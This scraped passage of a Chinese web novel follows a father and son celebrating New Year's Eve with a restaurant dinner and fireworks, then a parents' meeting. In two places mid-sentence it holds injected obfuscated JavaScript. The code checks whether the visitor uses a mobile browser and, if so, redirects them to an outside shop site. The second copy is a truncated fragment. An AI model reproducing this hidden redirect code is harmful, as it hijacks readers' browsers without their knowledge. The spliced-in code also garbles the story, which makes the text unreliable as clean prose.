“可是已经放假了，章信哥哥跟我说，全公司都放假了，你也要放假。”邱嘉楠窝在爸爸怀里，仰头看着爸爸，抬手摸了摸爸爸下巴底下刚冒出头的胡茬，“你的胡子没有刮干净。” 尤朗抓住小孩的手：“今天没有刮，不上班，不管它了。” “嘻嘻，你也说不上班，不上班就没有工作，我们去拆年货吧。” 尤朗垂眸，看着怀里软软的小孩，又看看电脑屏幕上的文件，考虑了两秒，点击保存，关闭文档：“好，爸爸陪楠楠拆年货。” 尤朗也从没拆过年货，他小时候物质还没有这么丰富，长大了就对这些东西失去兴趣了，最近十年，忙于工作，这些东西都是交给阿姨处理的，他看一眼就过去了，这还是第一次正正经经看自己家里过年有什么东西。 尤朗一拆就拆了箱零食：“楠楠过来，你喜欢这个。” 邱嘉楠凑过来，拿起一个圆圆的饼干盒，“哇”了一声，又拿出一盒蛋卷，口水都要流出来了：“爸爸，可以现在吃吗？” “嗯，想吃就吃。”尤朗帮小孩拆了蛋卷，取了一个送到他嘴里，听他“咔”一声把蛋卷咬得稀碎，大手托在他嘴巴下面，替他接着蛋卷的碎屑，“好不好吃？” 邱嘉楠连连点头，一边嚼一边盯着蛋卷，仿佛在说，还要吃。可尤朗还来不及再拿一个，就被小孩抓住了手，低头一舔，把手心里的碎屑都舔掉了，只剩一手口水。 尤朗又嫌弃又无奈：“你怎么这么脏？”邱嘉楠不说话，只是“咯咯咯”地笑。 尤朗把孩子楼在怀里，看他心满意足的，突然觉得只要孩子在身边，就什么都值得。 “楠楠，喜不喜欢过年？” “喜欢，”邱嘉楠一下抱住爸爸的脖子，“跟爸爸在一起，什么都喜欢。” 转眼就到了除夕夜。上午打扫卫生的阿姨就回家过年了，房子里只剩两人一狗，邱嘉楠午觉起来就赶紧去洗澡了，香喷喷地换上了新衣服，山田心围在他脚边嗅个不停，仿佛很是羡慕穿新衣服的爸爸。 到底是过年，邱嘉楠给山田心准备了异常丰盛的年夜饭，看山田心吃得摇头摆尾的才和爸爸一起出了门。 今年除夕很是暖和，父子俩驱车前往餐厅的路上还能看见远处金色的夕阳，把整个城市照得亮堂堂暖烘烘的。留在城市过年的人不多，路上车辆很少，一直开到餐厅附近才有些人气。 他们来的是一家私房菜餐厅，尤朗之前订了一个高楼层的包厢，两人一进门就有服务员领着他们进包厢。父子俩在安静的包厢里欢欢喜喜地等着他们的年夜饭。 从包厢的窗户望下去，可以看到清河广场。听说今晚清河广场会放烟花，有些早早吃完年夜饭的人已经出来散步等烟花了。 “爸爸，等会在这里可以看到烟花吗？” “可以，你想看的话，我们也可以下去看。” “真的吗？”邱嘉楠跳到爸爸身上，黏着不肯下来。 尤朗看着长不大的小孩，一点都不恼，只觉得高兴。他打了一碗汤给小孩：“来，先喝汤，吃了饭我们就下去。” 邱嘉楠头靠着爸爸肩膀，撒娇道：“我不会喝，爸爸喂我。” 尤朗笑了，用勺子舀汤，一口一口送到孩子嘴边，问他好不好喝。邱嘉楠一边喝一边点头，完了又指着桌上的炸丸子：“我要吃那个。” 尤朗乐得喂他，孩子越是颐指气使，他越是感到被依靠被需要的充实，始终耐心地给孩子夹菜，每喂一口都要问他好不好吃，还想不想吃。 邱嘉楠吃了七八分饱，才慢腾腾地离开爸爸，坐到旁边的椅子上。看爸爸吃饭，他就拿果汁过来，倒进两个高脚杯里：“爸爸，要干杯。” 尤朗很是喜欢他的稚气，笑着接过杯子，和他清脆地碰了下杯，轻轻抿了一口果汁：“楠楠新年快乐，祝我们楠楠新的一年身体健康，开开心心，没有烦恼。” “还有学习进步呢！”邱嘉楠认真地提醒爸爸。 尤朗也认真：“可是，爸爸觉得，学习好不好都不重要，爸爸希望楠楠做一个快乐的人，健健康康活到老，这就是最好的了。” 邱嘉楠感动得鼻子一酸，但又觉得这个时候哭太矫情了，于是举起杯子喝了一口果汁，掩饰自己的不对劲。等到眼泪被憋回去了，邱嘉楠才说：“楠楠祝爸爸新年快乐，身体健康，工作顺利，天天开心，赚很多钱，然后给我大红包。” “哈哈哈哈……”尤朗被他逗得笑个不停，“小财迷，就惦记着红包是吧？”尤朗放下筷子，拿纸巾擦了擦手，从西装外套里面的口袋里掏出一个迪士尼封面的红包来，“呐，压岁钱！” 邱嘉楠开心地接过红包，笑道：“谢谢爸爸！” 尤朗从来不知道当爸爸是这么快乐的一件事，不管多累多辛苦，只要看到这个孩子笑一笑，他就觉得什么都可以做。 邱嘉楠是不客气的，一接到红包就打开了，把厚厚一沓钱拿出来看：“哇！爸爸，好多，都是新钱！而且这个号是连着的！” 尤朗点了点头，之前给公司员工发红包的时候让章信去取了钱，特地叮嘱他要留一沓连号的新钱，就是等着让小孩开心的。 “谢谢爸爸！”邱嘉楠扑上来，抱着爸爸亲了一口。 尤朗忍不住，也抱着孩子亲了一下：“楠楠新年快乐！” “砰”一声，是清河广场的烟花开始了，广场上已经聚集了不少人，纷纷仰头看烟花，连声地感叹好漂亮，邱嘉楠也拉着爸爸，紧赶慢赶地朝广场去了。 留在城市过年的人虽然少，但城市的规模在这里，人口基数这么大，即使许多人离开了，但剩下的人往广场上一聚，那也是乌泱泱的。还没走到广场呢，邱嘉楠就和爸爸在等红绿灯的时候差点被人挤开了，烟花没看上，就连那“砰砰”的声响都被周围的人声盖住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581297|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 邱嘉楠紧紧拉着爸爸的手，过了红绿灯就随着人潮往广场上走，到了广场边缘，已经走不动了。小孩仰起头，却只能看见大人们的肩膀和脑袋，还有一些坐在大人肩膀上的小屁股。 “爸爸，我看不见！”邱嘉楠拉拉爸爸的手，扯着嗓子嘶吼。 尤朗看看小孩，又看看前方的人潮，烟花虽然离得远，但升空时他还能看见，只是小孩被这么挤着，确实只能看人了。 尤朗没有过多犹豫，弯腰一把抱起小孩，将小孩举到高处，稳稳得用肩膀托住了他：“这样看见了吗？” 邱嘉楠还没反应过来，人已经坐在爸爸肩头了，正巧“砰”一声，高处烟花绽开，他“哇”了一声，喊道：“爸爸，我看见了，好漂亮！” 尤朗抓着小孩垂下来的小腿，稳稳当当地站着，听小孩又笑又喊的，高兴得不得了，他也就跟着一起高兴了。 烟花放了大半个小时才结束，大人们带着小孩去买吃的，情侣们手拉着手去下一个约会地点，邱嘉楠从爸爸的肩头下来，兴奋劲还没过去：“爸爸，真的好漂亮啊！要是每天都过年就好了！” 尤朗忍不住笑他孩子气，要是每天都过年，可就没这么好玩了。 开车回家的路上，离开了热闹的清河大道，走上人少的路，便看见路边有摆摊卖烟花鞭炮的，大人带着小孩在摊位前挑烟花，邱嘉楠从车窗里见了，便跟爸爸说：“爸爸，有人在卖烟花。” “楠楠想自己放吗？” 这是邱嘉楠很久以前的愿望，那时候他还不敢叫尤朗爸爸，却幻想着尤朗给自己买烟花陪自己一起放，现在尤朗问他想不想要，他却有点犹豫了。 可是尤朗也根本不需要他的回答，方向盘一打，慢慢地将车停在了路边：“下车吧，我们也去挑烟花。” 邱嘉楠咬着下唇点点头，解开安全带下了车。尤朗牵着小孩，往最热闹的那个摊位走去。那是几个年轻人摆的摊，看许多小孩围在面前，也不藏着掖着，把每一种烟花和小鞭炮都给他们演示了一遍，有拿在手里烧出变色烟花的，也有对着天上“啾”一声喷出去的，还有放在地上像陀螺一样转的，小朋友们看得眼都花了，一会说要这个，一会说要那个，大人们一会跟年轻人谈价钱，一会跟小孩说只能选两个，小朋友则仰着脖子喊我可以用自己的压岁钱买…… 邱嘉楠也看得眼花缭乱，却不知道要买哪个，毕竟这里每个大人都有不同的要求，他还没听到尤朗说话呢！ “楠楠想要哪个？”尤朗弯下腰问。 “我可以挑几个呀？”邱嘉楠反问。 尤朗笑笑：“都可以，只要楠楠想要，我们都买。” 一个高瘦的男生招呼了他们，笑着帮邱嘉楠每样都挑了一份，用大大的红色塑料袋装好，还挑逗其他小朋友：“你看，人家买了这么多！” 那个被挑逗的小朋友“哼”了一声，不服气地道：“我家里有更多！” 邱嘉楠都有点不好意思，接过袋子，小声说谢谢，尤朗付了钱，也不急着回家，带着小孩就在江边放起了烟花。 邱嘉楠是第一次放烟花，有点害怕，拿着细细的木枝，把烟花伸得远远的，让爸爸给他点着。尤朗拧了烟花的纸头，拿出打火机，点了一会，烟花就“咻”一下喷出来了。 五颜六色的花火照亮了这一小块地方，尤朗走到孩子身边，抓着孩子的手，带他晃了几下，手中的烟花灿烂地燃烧。邱嘉楠看着，人都呆了。 “快，再拿一枝过来，等会它要灭了。”尤朗抽了一枝新的烟花，借着最后的火花续上了五彩斑斓的新年。 “楠楠，开不开心？” 邱嘉楠学着爸爸的样子，点开了又一枝：“开心！” 长长的江水两岸，燃烧了整个城市的除夕。 58. 番外十 十一月的N市尚未十分寒冷，太阳一出，那简直是暖烘烘的。尤朗今天一早特地换了一身新定制的西装，精神昂扬地跟尤嘉楠出门了。 尤嘉楠懒得找衣服穿，只穿着三中宽松的校服，慵懒地往副驾驶上一窝，说：“是家长会，不是商务会谈，也没必要这么……嗯，正式吧？”尤嘉楠本想说“夸张”的，又怕伤害到尤董薄脆的家长尊严，于是换成了“正式”。 尤朗启动车子，得意道：“这可是你高中第一次家长会，我不得好好露露脸？” 尤嘉楠右手手肘撑在车门边上，抬手遮在眉眼处，挡住了小半张脸。好好露露脸，初中露的还少吗？每次都是，不是ppt就是剪辑视频，把他如何喂狗如何打游戏如何大手大脚地花钱在同学和家长们面前抖了个底儿掉，还反过来得瑟，美其名曰全方位展示尤嘉楠的生活学习状态。一想到尤朗还要在高中同学面前这样显摆，尤嘉楠提前开始尴尬。 不怪尤朗显摆，实在是尤嘉楠的成绩太扎眼了，每回都是稳稳当当第一名，不管第二名争得如何头破血流，就是没人能撼动这位学神的地位。别说尤朗了，就算换了个普通家长，也很不得一天炫耀二十五个小时。 父子俩驱车到了三中门口，校门口已经热闹非凡人声鼎沸，就跟春节时的市中心一样，根本找不到能停车的地方。尤朗绕了一圈，最后选择把车停到了不远处一个收费昂贵的停车场，然后和儿子下车徒步过去。 尤朗和孩子的班主任程老师是老相识，因为两人的孩子是初中同学，因而很早就认识了。这位程老师教学出色，也有想法，但嘴巴相当刻薄，初中有一次开家长会，坦言比起尤朗炫耀儿子，更想听尤朗公司去年的财务报告。尤朗也很不客气，当即回应看来程老师不仅在经济上颇为困窘，在家庭教育上也很挫败。 但风水轮流转，尤朗也有要拉下脸来求人家的时候，八月份三中新生分班的时候，尤朗死皮赖脸地要把儿子塞进程老师的班里，不为别的，这位程老师实在是名气太响亮了，尤朗也不能免于追求名师的俗。其实以尤朗的人脉，想把儿子塞到哪里都轻而易举，只是如果他不拉这个脸，以后儿子在班上受到特殊待遇就不好了。也因为这么个契机，这两位家长暂时达成了某种不言自明的和解，以至于再次见到，也能笑得不那么假了。 家长会有固定的流程，校长讲话，班主任讲话，各科老师交流，这些流程结束之后才是家长代表发言。尤朗压根没听其他人说话，只是数着科任老师来了几个，差不多的时候就开始整理衣服，喝茶润喉，一副斗鸡准备下场的精神抖擞模样。站在窗边的尤嘉楠见了，认真地考虑下次考试要不要适当失手。 讲台边的程老师看了尤朗一眼，心想：得意不死你！又不是你教的，得意什么？ 最后一位科任老师结束交流，从讲台上下来。程老师便接话：“下面我们请家长代表，尤嘉楠的爸爸尤朗先生来和我们做一个分享。尤先生，请！” 教室里稀稀落落地响起了掌声，这教室里有些家长是和程老师一样，初中就认识尤朗的，早知道他炫耀儿子的架势，那真是恨不得在市中心拉几条横幅啊，问题是他还每次都能炫耀得层次分明，丰富多彩，比拉横幅有档次多了，以至于家长们不是很想听，又还挺想听。 年近半百的尤朗因为长期健身，善于保养，外表根本看不出真实年龄。他这么昂首挺胸地往讲台上一站，确实颇有些睥睨天下的大将风范，可因为脸上带着笑容，又格外亲善些。尤朗微微点头，跟诸位家长打了招呼，随后打开了自己早准备好的ppt。 场面话还是要讲的，诸如孩子的教育需要学校和家庭的配合，家长应该给予孩子充分的肯定，培养孩子的自信等等，接着就进入了万年不变的炫耀儿子环节。 一体机屏幕上放出了尤嘉楠非常漂亮且惹人嫉妒的成绩单，尤朗一副早就习惯了的样子：“如大家所见，尤嘉楠的成绩还看得过去，因为我不是教育方面的专家，所以很少插手他的学习……” 底下有家长开始愤怒了——神他妈还看得过去，这不是未来状元吗？ “我做得比较多的是关注孩子的情感需要。其实每一个小朋友都是希望得到父母陪伴的，长大以后他们可能很少把这样的愿望放在嘴边说，但是作为家长，我们要学会洞察孩子的内心。”随着这鸡汤一般的话语说出，屏幕上出现的是尤嘉楠从小到大和尤朗在国内外旅游的照片。 普通家长们：洞察内心这么费钱啊！ “我一直比较少给他施加学习压力，因为我相信孩子是会感受到爱的，只要作为父母的我们真心去爱他们，保护他们，让他们拥有安全感和幸福感，他们自然会找到属于自己的路。”尤朗瞥了一眼站在窗外的小孩，用笑意回应了孩子满是崇拜和依恋的眼神，“我们楠楠是比较不叛逆的，从小到大，心里想什么都会跟我说，当然他做错了我会适当惩罚他，这是初中的时候，他冲家里做饭的阿姨发了脾气，我罚他站了半个小时。”屏幕上是尤嘉楠面壁思过的照片，镜头只拍到了他规规矩矩站得挺直的背影。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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尤嘉楠“哼”了一声，扭开身子，不想理他。 尤朗不知道想到什么，抬头看了一眼碧蓝高远的天空和棉花糖一般柔软洁白的云朵，低声笑道：“你和章信不是经常交流吗？怎么？爸爸就不能说了？” “你还说呢？！”不提这个还好，一提这个尤嘉楠就来气，“那次要不是你和章信哥哥的事情，我怎么会冲阿姨发脾气？你还反过来打我，还当成狗屁成功教育案例说，气死我了！” 看儿子似乎真的生气了，尤朗赶紧把人抱住，哄道：“好好好，都是爸爸的错，爸爸以后再也不说了，楠楠别生气，爸爸带你去吃饭，嗯？” 尤嘉楠一脸骄矜，不说话，也不看爸爸。尤朗被他这小模小样的逗得想笑，揽着他朝停车场去了。